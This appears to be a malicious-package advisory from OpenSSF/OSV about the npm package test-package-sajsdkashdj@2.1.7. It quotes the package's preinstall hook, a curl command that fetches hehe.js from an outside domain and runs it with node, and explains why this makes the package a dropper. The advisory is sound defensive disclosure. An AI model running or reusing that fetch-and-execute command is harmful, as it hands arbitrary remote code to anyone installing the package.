OpenSSF/OSV advisory MAL-2026-6266 confirms this npm version as malicious. package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in test-package-sajsdkashdj (npm)
Details
package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.
Decision reason
OpenSSF Malicious Packages via OSV confirms test-package-sajsdkashdj@2.1.7 as malicious (MAL-2026-6266): Malicious code in test-package-sajsdkashdj (npm)